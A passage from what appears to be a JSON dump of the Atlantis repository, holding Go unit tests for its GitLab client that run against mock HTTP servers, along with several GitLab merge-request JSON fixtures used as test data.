notePutCallDetails struct {\n\t\tnoteID  string\n\t\tcomment []string\n\t}\n\ttype jsonBody struct {\n\t\tBody string\n\t}\n\n\tauthorID := 1\n\tauthorUserName := \"pipin\"\n\tauthorEmail := \"admin@example.com\"\n\tpullNum := 123\n\n\tuserCommentIDs := [1]string{\"1\"}\n\tplanCommentIDs := [2]string{\"3\", \"5\"}\n\tsystemCommentIDs := [1]string{\"4\"}\n\tsummaryCommentIDs := [1]string{\"2\"}\n\tplanComments := [3]string{\"Ran Plan for 2 projects:\", \"Ran Plan for dir: `stack1` workspace: `default`\", \"Ran Plan for 2 projects:\"}\n\tsummaryHeader := fmt.Sprintf(\"<!--- +-Superseded Command-+ ---><details><summary>Superseded Atlantis %s</summary>\",\n\t\tcommand.Plan.TitleString())\n\tsummaryFooter := \"</details>\"\n\tlineFeed := \"\\\\n\"\n\n\tissueResp := \"[\" +\n\t\tfmt.Sprintf(`{\"id\":%s,\"body\":\"User comment\",\"author\":{\"id\": %d, \"username\":\"%s\", \"email\":\"%s\"},\"system\": false,\"project_id\": %d}`,\n\t\t\tuserCommentIDs[0], authorID, authorUserName, authorEmail, pullNum) + \",\" +\n\t\tfmt.Sprintf(`{\"id\":%s,\"body\":\"%s\",\"author\":{\"id\": %d, \"username\":\"%s\", \"email\":\"%s\"},\"system\": false,\"project_id\": %d}`,\n\t\t\tsummaryCommentIDs[0], summaryHeader+lineFeed+planComments[2]+lineFeed+summaryFooter, authorID, authorUserName, authorEmail, pullNum) + \",\" +\n\t\tfmt.Sprintf(`{\"id\":%s,\"body\":\"%s\",\"author\":{\"id\": %d, \"username\":\"%s\", \"email\":\"%s\"},\"system\": false,\"project_id\": %d}`,\n\t\t\tplanCommentIDs[0], planComments[0], authorID, authorUserName, authorEmail, pullNum) + \",\" +\n\t\tfmt.Sprintf(`{\"id\":%s,\"body\":\"System comment\",\"author\":{\"id\": %d, \"username\":\"%s\", \"email\":\"%s\"},\"system\": true,\"project_id\": %d}`,\n\t\t\tsystemCommentIDs[0], authorID, authorUserName, authorEmail, pullNum) + \",\" +\n\t\tfmt.Sprintf(`{\"id\":%s,\"body\":\"%s\",\"author\":{\"id\": %d, \"username\":\"%s\", \"email\":\"%s\"},\"system\": false,\"project_id\": %d}`,\n\t\t\tplanCommentIDs[1], planComments[1], authorID, authorUserName, authorEmail, pullNum) +\n\t\t\"]\"\n\n\trepo := models.Repo{\n\t\tFullName: \"runatlantis/atlantis\",\n\t\tOwner:    \"runatlantis\",\n\t\tName:     \"atlantis\",\n\t\tVCSHost: models.VCSHost{\n\t\t\tType:     models.Gitlab,\n\t\t\tHostname: \"gitlab.com\",\n\t\t},\n\t}\n\n\tcases := []struct {\n\t\tdir                  string\n\t\tprocessedComments    int\n\t\tprocessedCommentIds  []string\n\t\tprocessedPlanComment []string\n\t}{\n\t\t{\n\t\t\t\"\",\n\t\t\t2,\n\t\t\t[]string{planCommentIDs[0], planCommentIDs[1]},\n\t\t\t[]string{planComments[0], planComments[1]},\n\t\t},\n\t\t{\n\t\t\t\"stack1\",\n\t\t\t1,\n\t\t\t[]string{planCommentIDs[1]},\n\t\t\t[]string{planComments[1]},\n\t\t},\n\t\t{\n\t\t\t\"stack2\",\n\t\t\t0,\n\t\t\t[]string{},\n\t\t\t[]string{},\n\t\t},\n\t}\n\n\tfor _, c := range cases {\n\t\tt.Run(c.dir, func(t *testing.T) {\n\t\t\tgitlabClientUnderTest = true\n\t\t\tdefer func() { gitlabClientUnderTest = false }()\n\t\t\tgotNotePutCalls := make([]notePutCallDetails, 0, 1)\n\t\t\ttestServer := httptest.NewServer(\n\t\t\t\thttp.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\t\t\t\tswitch r.Method {\n\t\t\t\t\tcase \"GET\":\n\t\t\t\t\t\tswitch r.RequestURI {\n\t\t\t\t\t\tcase \"/api/v4/user\":\n\t\t\t\t\t\t\tw.WriteHeader(http.StatusOK)\n\t\t\t\t\t\t\tw.Header().Set(\"Content-Type\", \"application/json\")\n\t\t\t\t\t\t\tresponse := fmt.Sprintf(`{\"id\": %d,\"username\": \"%s\", \"email\": \"%s\"}`, authorID, authorUserName, authorEmail)\n\t\t\t\t\t\t\tw.Write([]byte(response)) // nolint: errcheck\n\t\t\t\t\t\tcase fmt.Sprintf(\"/api/v4/projects/runatlantis%%2Fatlantis/merge_requests/%d/notes?order_by=created_at&sort=asc\", pullNum):\n\t\t\t\t\t\t\tw.WriteHeader(http.StatusOK)\n\t\t\t\t\t\t\tresponse := issueResp\n\t\t\t\t\t\t\tw.Write([]byte(response)) // nolint: errcheck\n\t\t\t\t\t\tdefault:\n\t\t\t\t\t\t\tt.Errorf(\"got unexpected request at %q\", r.RequestURI)\n\t\t\t\t\t\t\thttp.Error(w, \"not found\", http.StatusNotFound)\n\t\t\t\t\t\t}\n\t\t\t\t\tcase \"PUT\":\n\t\t\t\t\t\tswitch {\n\t\t\t\t\t\tcase strings.HasPrefix(r.RequestURI, fmt.Sprintf(\"/api/v4/projects/runatlantis%%2Fatlantis/merge_requests/%d/notes/\", pullNum)):\n\t\t\t\t\t\t\tw.WriteHeader(http.StatusOK)\n\t\t\t\t\t\t\tvar body jsonBody\n\t\t\t\t\t\t\tjson.NewDecoder(r.Body).Decode(&body) // nolint: errcheck\n\t\t\t\t\t\t\tnotePutCallDetail := notePutCallDetails{\n\t\t\t\t\t\t\t\tnoteID:  path.Base(r.RequestURI),\n\t\t\t\t\t\t\t\tcomment: strings.Split(body.Body, \"\\n\"),\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tgotNotePutCalls = append(gotNotePutCalls, notePutCallDetail)\n\t\t\t\t\t\t\tresponse := \"{}\"\n\t\t\t\t\t\t\tw.Write([]byte(response)) // nolint: errcheck\n\t\t\t\t\t\tdefault:\n\t\t\t\t\t\t\tt.Errorf(\"got unexpected request at %q\", r.RequestURI)\n\t\t\t\t\t\t\thttp.Error(w, \"not found\", http.StatusNotFound)\n\t\t\t\t\t\t}\n\t\t\t\t\tdefault:\n\t\t\t\t\t\tt.Errorf(\"got unexpected method at %q\", r.Method)\n\t\t\t\t\t\thttp.Error(w, \"not found\", http.StatusNotFound)\n\t\t\t\t\t}\n\t\t\t\t}),\n\t\t\t)\n\n\t\t\tinternalClient, err := gitlab.NewClient(\"token\", gitlab.WithBaseURL(testServer.URL))\n\t\t\tOk(t, err)\n\t\t\tclient := &Client{\n\t\t\t\tClient:  internalClient,\n\t\t\t\tVersion: nil,\n\t\t\t}\n\n\t\t\terr = client.HidePrevCommandComments(logger, repo, pullNum, command.Plan.TitleString(), c.dir)\n\t\t\tOk(t, err)\n\n\t\t\t// Check the correct number of plan comments have been processed\n\t\t\tEquals(t, c.processedComments, len(gotNotePutCalls))\n\t\t\t// Check the correct comments have been processed\n\t\t\tfor i := 0; i < c.processedComments; i++ {\n\t\t\t\tEquals(t, c.processedCommentIds[i], gotNotePutCalls[i].noteID)\n\t\t\t\tEquals(t, summaryHeader, gotNotePutCalls[i].comment[0])\n\t\t\t\tEquals(t, c.processedPlanComment[i], gotNotePutCalls[i].comment[1])\n\t\t\t\tEquals(t, summaryFooter, gotNotePutCalls[i].comment[2])\n\t\t\t}\n\t\t})\n\t}\n}\n\nfunc TestClient_GetPullLabels(t *testing.T) {\n\tlogger := logging.NewNoopLogger(t)\n\tmergeSuccessWithLabel, err := os.ReadFile(\"testdata/merge-success-with-label.json\")\n\tOk(t, err)\n\n\ttestServer := httptest.NewServer(\n\t\thttp.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\t\tswitch r.RequestURI {\n\t\t\tcase \"/api/v4/projects/runatlantis%2Fatlantis/merge_requests/1\":\n\t\t\t\tw.WriteHeader(http.StatusOK)\n\t\t\t\tw.Write(mergeSuccessWithLabel) // nolint: errcheck\n\t\t\tdefault:\n\t\t\t\tt.Errorf(\"got unexpected request at %q\", r.RequestURI)\n\t\t\t\thttp.Error(w, \"not found\", http.StatusNotFound)\n\t\t\t}\n\t\t}))\n\n\tinternalClient, err := gitlab.NewClient(\"token\", gitlab.WithBaseURL(testServer.URL))\n\tOk(t, err)\n\tclient := &Client{\n\t\tClient:  internalClient,\n\t\tVersion: nil,\n\t}\n\n\tlabels, err := client.GetPullLabels(\n\t\tlogger,\n\t\tmodels.Repo{\n\t\t\tFullName: \"runatlantis/atlantis\",\n\t\t},\n\t\tmodels.PullRequest{\n\t\t\tNum: 1,\n\t\t},\n\t)\n\tOk(t, err)\n\tEquals(t, []string{\"work in progress\"}, labels)\n}\n\nfunc TestClient_GetPullLabels_EmptyResponse(t *testing.T) {\n\tlogger := logging.NewNoopLogger(t)\n\tpipelineSuccess, err := os.ReadFile(\"testdata/pipeline-success.json\")\n\tOk(t, err)\n\n\ttestServer := httptest.NewServer(\n\t\thttp.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\t\tswitch r.RequestURI {\n\t\t\tcase \"/api/v4/projects/runatlantis%2Fatlantis/merge_requests/1\":\n\t\t\t\tw.WriteHeader(http.StatusOK)\n\t\t\t\tw.Write(pipelineSuccess) // nolint: errcheck\n\t\t\tdefault:\n\t\t\t\tt.Errorf(\"got unexpected request at %q\", r.RequestURI)\n\t\t\t\thttp.Error(w, \"not found\", http.StatusNotFound)\n\t\t\t}\n\t\t}))\n\n\tinternalClient, err := gitlab.NewClient(\"token\", gitlab.WithBaseURL(testServer.URL))\n\tOk(t, err)\n\tclient := &Client{\n\t\tClient:  internalClient,\n\t\tVersion: nil,\n\t}\n\n\tlabels, err := client.GetPullLabels(\n\t\tlogger,\n\t\tmodels.Repo{\n\t\t\tFullName: \"runatlantis/atlantis\",\n\t\t}, models.PullRequest{\n\t\t\tNum: 1,\n\t\t})\n\tOk(t, err)\n\tEquals(t, 0, len(labels))\n}\n\n// GetTeamNamesForUser returns the names of the GitLab groups that the user belongs to.\nfunc TestClient_GetTeamNamesForUser(t *testing.T) {\n\tlogger := logging.NewNoopLogger(t)\n\n\tgroupMembershipSuccess, err := os.ReadFile(\"testdata/group-membership-success.json\")\n\tOk(t, err)\n\n\tuserSuccess, err := os.ReadFile(\"testdata/user-success.json\")\n\tOk(t, err)\n\n\tuserEmpty, err := os.ReadFile(\"testdata/user-none.json\")\n\tOk(t, err)\n\n\tmultipleUsers, err := os.ReadFile(\"testdata/user-multiple.json\")\n\tOk(t, err)\n\n\tconfiguredGroups := []string{\"someorg/group1\", \"someorg/group2\", \"someorg/group3\", \"someorg/group4\"}\n\n\tcases := []struct {\n\t\tuserName string\n\t\texpErr   string\n\t\texpTeams []string\n\t}{\n\t\t{\n\t\t\tuserName: \"testuser\",\n\t\t\texpTeams: []string{\"someorg/group1\", \"someorg/group2\"},\n\t\t},\n\t\t{\n\t\t\tuserName: \"none\",\n\t\t\texpErr:   \"GET /users returned no user\",\n\t\t},\n\t\t{\n\t\t\tuserName: \"multiuser\",\n\t\t\texpErr:   \"GET /users returned more than 1 user\",\n\t\t},\n\t}\n\tfor _, c := range cases {\n\t\tt.Run(c.userName, func(t *testing.T) {\n\n\t\t\ttestServer := httptest.NewServer(\n\t\t\t\thttp.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\t\t\t\tswitch r.RequestURI {\n\t\t\t\t\tcase \"/api/v4/users?username=testuser\":\n\t\t\t\t\t\tw.WriteHeader(http.StatusOK)\n\t\t\t\t\t\tw.Write(userSuccess) // nolint: errcheck\n\t\t\t\t\tcase \"/api/v4/users?username=none\":\n\t\t\t\t\t\tw.WriteHeader(http.StatusOK)\n\t\t\t\t\t\tw.Write(userEmpty) // nolint: errcheck\n\t\t\t\t\tcase \"/api/v4/users?username=multiuser\":\n\t\t\t\t\t\tw.WriteHeader(http.StatusOK)\n\t\t\t\t\t\tw.Write(multipleUsers) // nolint: errcheck\n\t\t\t\t\tcase \"/api/v4/groups/someorg%2Fgroup1/members/123\", \"/api/v4/groups/someorg%2Fgroup2/members/123\":\n\t\t\t\t\t\tw.WriteHeader(http.StatusOK)\n\t\t\t\t\t\tw.Write(groupMembershipSuccess) // nolint: errcheck\n\t\t\t\t\tcase \"/api/v4/groups/someorg%2Fgroup3/members/123\":\n\t\t\t\t\t\thttp.Error(w, \"forbidden\", http.StatusForbidden)\n\t\t\t\t\tcase \"/api/v4/groups/someorg%2Fgroup4/members/123\":\n\t\t\t\t\t\thttp.Error(w, \"not found\", http.StatusNotFound)\n\t\t\t\t\tdefault:\n\t\t\t\t\t\tt.Errorf(\"got unexpected request at %q\", r.RequestURI)\n\t\t\t\t\t\thttp.Error(w, \"not found\", http.StatusNotFound)\n\t\t\t\t\t}\n\t\t\t\t}))\n\t\t\tinternalClient, err := gitlab.NewClient(\"token\", gitlab.WithBaseURL(testServer.URL))\n\t\t\tOk(t, err)\n\t\t\tclient := &Client{\n\t\t\t\tClient:           internalClient,\n\t\t\t\tVersion:          nil,\n\t\t\t\tConfiguredGroups: configuredGroups,\n\t\t\t}\n\n\t\t\tteams, err := client.GetTeamNamesForUser(\n\t\t\t\tlogger,\n\t\t\t\tmodels.Repo{\n\t\t\t\t\tOwner: \"someorg\",\n\t\t\t\t}, models.User{\n\t\t\t\t\tUsername: c.userName,\n\t\t\t\t})\n\t\t\tif c.expErr == \"\" {\n\t\t\t\tOk(t, err)\n\t\t\t\tEquals(t, c.expTeams, teams)\n\t\t\t} else {\n\t\t\t\tErrContains(t, c.expErr, err)\n\n\t\t\t}\n\n\t\t})\n\t}\n}\n\nfunc TestGithubClient_DiscardReviews(t *testing.T) {\n\tlogger := logging.NewNoopLogger(t)\n\tcases := []struct {\n\t\tdescription   string\n\t\trepoFullName  string\n\t\tpullReqeustId int\n\t\twantErr       bool\n\t}{\n\t\t{\n\t\t\t\"success\",\n\t\t\t\"runatlantis/atlantis\",\n\t\t\t42,\n\t\t\tfalse,\n\t\t},\n\t\t{\n\t\t\t\"error\",\n\t\t\t\"runatlantis/atlantis\",\n\t\t\t32,\n\t\t\ttrue,\n\t\t},\n\t}\n\tfor _, c := range cases {\n\t\tt.Run(c.description, func(t *testing.T) {\n\t\t\ttestServer := httptest.NewServer(\n\t\t\t\thttp.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\t\t\t\tswitch r.RequestURI {\n\t\t\t\t\tcase \"/api/v4/projects/runatlantis%2Fatlantis/merge_requests/42/reset_approvals\":\n\t\t\t\t\t\tw.WriteHeader(http.StatusOK)\n\t\t\t\t\tcase \"/api/v4/projects/runatlantis%2Fatlantis/merge_requests/32/reset_approvals\":\n\t\t\t\t\t\thttp.Error(w, \"No bot token\", http.StatusUnauthorized)\n\t\t\t\t\tdefault:\n\t\t\t\t\t\tt.Errorf(\"got unexpected request at %q\", r.RequestURI)\n\t\t\t\t\t\thttp.Error(w, \"not found\", http.StatusNotFound)\n\t\t\t\t\t}\n\t\t\t\t}))\n\t\t\tinternalClient, err := gitlab.NewClient(\"token\", gitlab.WithBaseURL(testServer.URL))\n\t\t\tOk(t, err)\n\t\t\tclient := &Client{\n\t\t\t\tClient:  internalClient,\n\t\t\t\tVersion: nil,\n\t\t\t}\n\n\t\t\trepo := models.Repo{\n\t\t\t\tFullName: c.repoFullName,\n\t\t\t}\n\n\t\t\tpr := models.PullRequest{\n\t\t\t\tNum: c.pullReqeustId,\n\t\t\t}\n\n\t\t\tif err := client.DiscardReviews(logger, repo, pr); (err != nil) != c.wantErr {\n\t\t\t\tt.Errorf(\"DiscardReviews() error = %v\", err)\n\t\t\t}\n\t\t})\n\t}\n}\n\nfunc TestClient_UpdateStatusTransitionAlreadyComplete(t *testing.T) {\n\tlogger := logging.NewNoopLogger(t)\n\n\ttestServer := httptest.NewServer(\n\t\thttp.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\t\tswitch r.RequestURI {\n\t\t\tcase \"/api/v4/projects/runatlantis%2Fatlantis/statuses/sha\":\n\t\t\t\tw.WriteHeader(http.StatusBadRequest)\n\t\t\t\t_, err := w.Write([]byte(`{\"message\": {\"state\": [\"Cannot transition status via :run from :running\"]}}`))\n\t\t\t\tOk(t, err)\n\n\t\t\tcase \"/api/v4/projects/runatlantis%2Fatlantis/repository/commits/sha\":\n\t\t\t\tw.WriteHeader(http.StatusOK)\n\n\t\t\t\tgetCommitResponse := GetCommitResponse{\n\t\t\t\t\tLastPipeline: &GetCommitResponseLastPipeline{\n\t\t\t\t\t\tID: gitlabPipelineSuccessMrID,\n\t\t\t\t\t},\n\t\t\t\t}\n\t\t\t\tgetCommitJsonResponse, err := json.Marshal(getCommitResponse)\n\t\t\t\tOk(t, err)\n\n\t\t\t\t_, err = w.Write(getCommitJsonResponse)\n\t\t\t\tOk(t, err)\n\n\t\t\tcase \"/api/v4/\":\n\t\t\t\t// Rate limiter requests.\n\t\t\t\tw.WriteHeader(http.StatusOK)\n\n\t\t\tdefault:\n\t\t\t\tt.Errorf(\"got unexpected request at %q\", r.RequestURI)\n\t\t\t\thttp.Error(w, \"not found\", http.StatusNotFound)\n\t\t\t}\n\t\t}))\n\n\tinternalClient, err := gitlab.NewClient(\"token\", gitlab.WithBaseURL(testServer.URL))\n\tOk(t, err)\n\tclient := &Client{\n\t\tClient:          internalClient,\n\t\tVersion:         nil,\n\t\tPollingInterval: 10 * time.Millisecond,\n\t}\n\n\trepo := models.Repo{\n\t\tFullName: \"runatlantis/atlantis\",\n\t\tOwner:    \"runatlantis\",\n\t\tName:     \"atlantis\",\n\t}\n\terr = client.UpdateStatus(\n\t\tlogger,\n\t\trepo,\n\t\tmodels.PullRequest{\n\t\t\tNum:        1,\n\t\t\tBaseRepo:   repo,\n\t\t\tHeadCommit: \"sha\",\n\t\t\tHeadBranch: \"test\",\n\t\t},\n\t\tmodels.PendingCommitStatus,\n\t\tupdateStatusSrc,\n\t\tupdateStatusDescription,\n\t\tupdateStatusTargetUrl,\n\t)\n\n\tOk(t, err)\n}\n"
  },
  {
    "path": "server/events/vcs/gitlab/testdata/changes-available.json",
    "content": "{\n  \"id\": 8312,\n  \"iid\": 102,\n  \"target_branch\": \"main\",\n  \"source_branch\": \"TestBranch\",\n  \"project_id\": 3771,\n  \"title\": \"Update somefile.yaml\",\n  \"state\": \"opened\",\n  \"created_at\": \"2023-03-14T13:43:17.895Z\",\n  \"updated_at\": \"2023-03-14T13:43:59.978Z\",\n  \"upvotes\": 0,\n  \"downvotes\": 0,\n  \"author\": {\n    \"id\": 1755902,\n    \"name\": \"Luke Kysow\",\n    \"username\": \"lkysow\",\n    \"state\": \"active\",\n    \"avatar_url\": \"https://secure.gravatar.com/avatar/25fd57e71590fe28736624ff24d41c5f?s=80\\\\u0026d=identicon\",\n    \"web_url\": \"https://gitlab.com/lkysow\"\n  },\n  \"assignee\": null,\n  \"assignees\": [],\n  \"reviewers\": [],\n  \"source_project_id\": 3771,\n  \"target_project_id\": 3771,\n  \"labels\": [],\n  \"description\": \"\",\n  \"draft\": false,\n  \"work_in_progress\": false,\n  \"milestone\": null,\n  \"merge_when_pipeline_succeeds\": false,\n  \"detailed_merge_status\": \"not_approved\",\n  \"merge_error\": \"\",\n  \"merged_by\": null,\n  \"merged_at\": null,\n  \"closed_by\": null,\n  \"closed_at\": null,\n  \"subscribed\": false,\n  \"sha\": \"cb86d70f464632bdfbe1bb9bc0f2f9d847a774a0\",\n  \"merge_commit_sha\": null,\n  \"squash_commit_sha\": null,\n  \"user_notes_count\": 0,\n  \"changes_count\": \"1\",\n  \"should_remove_source_branch\": null,\n  \"force_remove_source_branch\": true,\n  \"allow_collaboration\": false,\n  \"web_url\": \"https://gitlab.com/lkysow/atlantis-example/merge_requests/13\",\n  \"references\": {\n    \"short\": \"!13\",\n    \"relative\": \"!13\",\n    \"full\": \"lkysow/atlantis-example!13\"\n  },\n  \"discussion_locked\": null,\n  \"changes\": [\n    {\n      \"old_path\": \"somefile.yaml\",\n      \"new_path\": \"somefile.yaml\",\n      \"a_mode\": \"100644\",\n      \"b_mode\": \"100644\",\n      \"diff\": \"--- a/somefile.yaml\\\\ +++ b/somefile.yaml\\\\ @@ -1 +1 @@\\\\ -gud\\\\ +good\",\n      \"new_file\": false,\n      \"renamed_file\": false,\n      \"deleted_file\": false\n    }\n  ],\n  \"user\": {\n    \"can_merge\": true\n  },\n  \"time_stats\": {\n    \"human_time_estimate\": null,\n    \"human_total_time_spent\": null,\n    \"time_estimate\": 0,\n    \"total_time_spent\": 0\n  },\n  \"squash\": false,\n  \"pipeline\": null,\n  \"head_pipeline\": null,\n  \"diff_refs\": {\n    \"base_sha\": \"67cb91d3f6198189f433c045154a885784ba6977\",\n    \"head_sha\": \"cb86d70f464632bdfbe1bb9bc0f2f9d847a774a0\",\n    \"start_sha\": \"67cb91d3f6198189f433c045154a885784ba6977\"\n  },\n  \"approvals_before_merge\": null,\n  \"reference\": \"!13\",\n  \"task_completion_status\": {\n    \"count\": 0,\n    \"completed_count\": 0\n  },\n  \"has_conflicts\": false,\n  \"blocking_discussions_resolved\": true,\n  \"overflow\": false,\n  \"merge_status\": \"can_be_merged\"\n}\n"
  },
  {
    "path": "server/events/vcs/gitlab/testdata/changes-pending.json",
    "content": "{\n  \"id\": 8312,\n  \"iid\": 102,\n  \"target_branch\": \"main\",\n  \"source_branch\": \"TestBranch\",\n  \"project_id\": 3771,\n  \"title\": \"Update somefile.yaml\",\n  \"state\": \"opened\",\n  \"created_at\": \"2023-03-14T13:43:17.895Z\",\n  \"updated_at\": \"2023-03-14T13:43:17.895Z\",\n  \"upvotes\": 0,\n  \"downvotes\": 0,\n  \"author\": {\n    \"id\": 1755902,\n    \"name\": \"Luke Kysow\",\n    \"username\": \"lkysow\",\n    \"state\": \"active\",\n    \"avatar_url\": \"https://secure.gravatar.com/avatar/25fd57e71590fe28736624ff24d41c5f?s=80\\\\u0026d=identicon\",\n    \"web_url\": \"https://gitlab.com/lkysow\"\n  },\n  \"assignee\": null,\n  \"assignees\": [],\n  \"reviewers\": [],\n  \"source_project_id\": 3771,\n  \"target_project_id\": 3771,\n  \"labels\": [],\n  \"description\": \"\",\n  \"draft\": false,\n  \"work_in_progress\": false,\n  \"milestone\": null,\n  \"merge_when_pipeline_succeeds\": false,\n  \"detailed_merge_status\": \"checking\",\n  \"merge_error\": \"\",\n  \"merged_by\": null,\n  \"merged_at\": null,\n  \"closed_by\": null,\n  \"closed_at\": null,\n  \"subscribed\": false,\n  \"sha\": \"cb86d70f464632bdfbe1bb9bc0f2f9d847a774a0\",\n  \"merge_commit_sha\": \"\",\n  \"squash_commit_sha\": \"\",\n  \"user_notes_count\": 0,\n  \"changes_count\": \"\",\n  \"should_remove_source_branch\": false,\n  \"force_remove_source_branch\": true,\n  \"allow_collaboration\": false,\n  \"web_url\": \"https://gitlab.com/lkysow/atlantis-example/merge_requests/13\",\n  \"references\": {\n    \"short\": \"!13\",\n    \"relative\": \"!13\",\n    \"full\": \"lkysow/atlantis-example!13\"\n  },\n  \"discussion_locked\": false,\n  \"changes\": [],\n  \"user\": {\n    \"can_merge\": true\n  },\n  \"time_stats\": {\n    \"human_time_estimate\": \"\",\n    \"human_total_time_spent\": \"\",\n    \"time_estimate\": 0,\n    \"total_time_spent\": 0\n  },\n  \"squash\": false,\n  \"pipeline\": null,\n  \"head_pipeline\": null,\n  \"diff_refs\": {\n    \"base_sha\": \"\",\n    \"head_sha\": \"\",\n    \"start_sha\": \"\"\n  },\n  \"diverged_commits_count\": 0,\n  \"rebase_in_progress\": false,\n  \"approvals_before_merge\": 0,\n  \"reference\": \"!13\",\n  \"first_contribution\": false,\n  \"task_completion_status\": {\n    \"count\": 0,\n    \"completed_count\": 0\n  },\n  \"has_conflicts\": false,\n  \"blocking_discussions_resolved\": true,\n  \"overflow\": false,\n  \"merge_status\": \"checking\"\n}\n"
  },
  {
    "path": "server/events/vcs/gitlab/testdata/detailed-merge-status-ci-must-pass.json",
    "content": "{\n  \"id\": 22461274,\n  \"iid\": 13,\n  \"project_id\": 4580910,\n  \"title\": \"Update main.tf\",\n  \"description\": \"\",\n  \"state\": \"opened\",\n  \"created_at\": \"2019-01-15T18:27:29.375Z\",\n  \"updated_at\": \"2019-01-25T17:28:01.437Z\",\n  \"merged_by\": null,\n  \"merged_at\": null,\n  \"closed_by\": null,\n  \"closed_at\": null,\n  \"target_branch\": \"patch-1\",\n  \"source_branch\": \"patch-1-merger\",\n  \"user_notes_count\": 0,\n  \"upvotes\": 0,\n  \"downvotes\": 0,\n  \"author\": {\n    \"id\": 1755902,\n    \"name\": \"Luke Kysow\",\n    \"username\": \"lkysow\",\n    \"state\": \"active\",\n    \"avatar_url\": \"https://secure.gravatar.com/avatar/25fd57e71590fe28736624ff24d41c5f?s=80&d=identicon\",\n    \"web_url\": \"https://gitlab.com/lkysow\"\n  },\n  \"assignee\": null,\n  \"reviewers\": [],\n  \"source_project_id\": 4580910,\n  \"target_project_id\": 4580910,\n  \"labels\": [],\n  \"work_in_progress\": false,\n  \"milestone\": null,\n  \"merge_when_pipeline_succeeds\": false,\n  \"merge_status\": \"can_be_merged\",\n  \"detailed_merge_status\": \"ci_must_pass\",\n  \"sha\": \"cb86d70f464632bdfbe1bb9bc0f2f9d847a774a0\",\n  \"merge_commit_sha\": null,\n  \"squash_commit_sha\": null,\n  \"discussion_locked\": null,\n  \"should_remove_source_branch\": null,\n  \"force_remove_source_branch\": true,\n  \"reference\": \"!13\",\n  \"references\": {\n    \"short\": \"!13\",\n    \"relative\": \"!13\",\n    \"full\": \"lkysow/atlantis-example!13\"\n  },\n  \"web_url\": \"https://gitlab.com/lkysow/atlantis-example/merge_requests/13\",\n  \"time_stats\": {\n    \"time_estimate\": 0,\n    \"total_time_spent\": 0,\n    \"human_time_estimate\": null,\n    \"human_total_time_spent\": null\n  },\n  \"squash\": true,\n  \"task_completion_status\": {\n    \"count\": 0,\n    \"completed_count\": 0\n  },\n  \"has_conflicts\": false,\n  \"blocking_discussions_resolved\": true,\n  \"approvals_before_merge\": null,\n  \"subscribed\": false,\n  \"changes_count\": \"1\",\n  \"latest_build_started_at\": \"2019-01-15T18:27:29.375Z\",\n  \"latest_build_finished_at\": \"2019-01-25T17:28:01.437Z\",\n  \"first_deployed_to_production_at\": null,\n  \"pipeline\": {\n    \"id\": 488598,\n    \"sha\": \"67cb91d3f6198189f433c045154a885784ba6977\",\n    \"ref\": \"patch-1-merger\",\n    \"status\": \"success\",\n    \"created_at\": \"2019-01-15T18:27:29.375Z\",\n    \"updated_at\": \"2019-01-25T17:28:01.437Z\",\n    \"web_url\": \"https://gitlab.com/lkysow/atlantis-example/-/pipelines/488598\"\n  },\n  \"head_pipeline\": {\n    \"id\": 488598,\n    \"sha\": \"67cb91d3f6198189f433c045154a885784ba6977\",\n    \"ref\": \"patch-1-merger\",\n    \"status\": \"success\",\n    \"created_at\": \"2019-01-15T18:27:29.375Z\",\n    \"updated_at\": \"2019-01-25T17:28:01.437Z\",\n    \"web_url\": \"https://gitlab.com/lkysow/atlantis-example/-/pipelines/488598\",\n    \"before_sha\": \"0000000000000000000000000000000000000000\",\n    \"tag\": false,\n    \"yaml_errors\": null,\n    \"user\": {\n      \"id\": 1755902,\n      \"name\": \"Luke Kysow\",\n      \"username\": \"lkysow\",\n      \"state\": \"active\",\n      \"avatar_url\": \"https://secure.gravatar.com/avatar/25fd57e71590fe28736624ff24d41c5f?s=80&d=identicon\",\n      \"web_url\": \"https://gitlab.com/lkysow\"\n    },\n    \"started_at\": \"2019-01-15T18:27:29.375Z\",\n    \"finished_at\": \"2019-01-25T17:28:01.437Z\",\n    \"committed_at\": null,\n    \"duration\": 31,\n    \"coverage\": null,\n    \"detailed_status\": {\n      \"icon\": \"status_success\",\n      \"text\": \"passed\",\n      \"label\": \"passed\",\n      \"group\": \"success\",\n      \"tooltip\": \"passed\",\n      \"has_details\": true,\n      \"details_path\": \"/lkysow/atlantis-example/-/pipelines/488598\",\n      \"illustration\": null,\n      \"favicon\": \"/assets/ci_favicons/favicon_status_success-8451333011eee8ce9f2ab25dc487fe24a8758c694827a582f17f42b0a90446a2.png\"\n    }\n  },\n  \"diff_refs\": {\n    \"base_sha\": \"67cb91d3f6198189f433c045154a885784ba6977\",\n    \"head_sha\": \"cb86d70f464632bdfbe1bb9bc0f2f9d847a774a0\",\n    \"start_sha\": \"67cb91d3f6198189f433c045154a885784ba6977\"\n  },\n  \"merge_error\": null,\n  \"first_contribution\": false,\n  \"user\": {\n    \"can_merge\": true\n  }\n}\n"
  },
  {
    "path": "server/events/vcs/gitlab/testdata/detailed-merge-status-need-rebase.json",
    "content": "{\n  \"id\": 22461274,\n  \"iid\": 13,\n  \"project_id\": 4580910,\n  \"title\": \"Update main.tf\",\n  \"description\": \"\",\n  \"state\": \"opened\",\n  \"created_at\": \"2019-01-15T18:27:29.375Z\",\n  \"updated_at\": \"2019-01-25T17:28:01.437Z\",\n  \"merged_by\": null,\n  \"merged_at\": null,\n  \"closed_by\": null,\n  \"closed_at\": null,\n  \"target_branch\": \"patch-1\",\n  \"source_branch\": \"patch-1-merger\",\n  \"user_notes_count\": 0,\n  \"upvotes\": 0,\n  \"downvotes\": 0,\n  \"author\": {\n    \"id\": 1755902,\n    \"name\": \"Luke Kysow\",\n    \"username\": \"lkysow\",\n    \"state\": \"active\",\n    \"avatar_url\": \"https://secure.gravatar.com/avatar/25fd57e71590fe28736624ff24d41c5f?s=80&d=identicon\",\n    \"web_url\": \"https://gitlab.com/lkysow\"\n  },\n  \"assignee\": null,\n  \"reviewers\": [],\n  \"source_project_id\": 4580910,\n  \"target_project_id\": 4580910,\n  \"labels\": [],\n  \"work_in_progress\": false,\n  \"milestone\": null,\n  \"merge_when_pipeline_succeeds\": false,\n  \"merge_status\": \"can_be_merged\",\n  \"detailed_merge_status\": 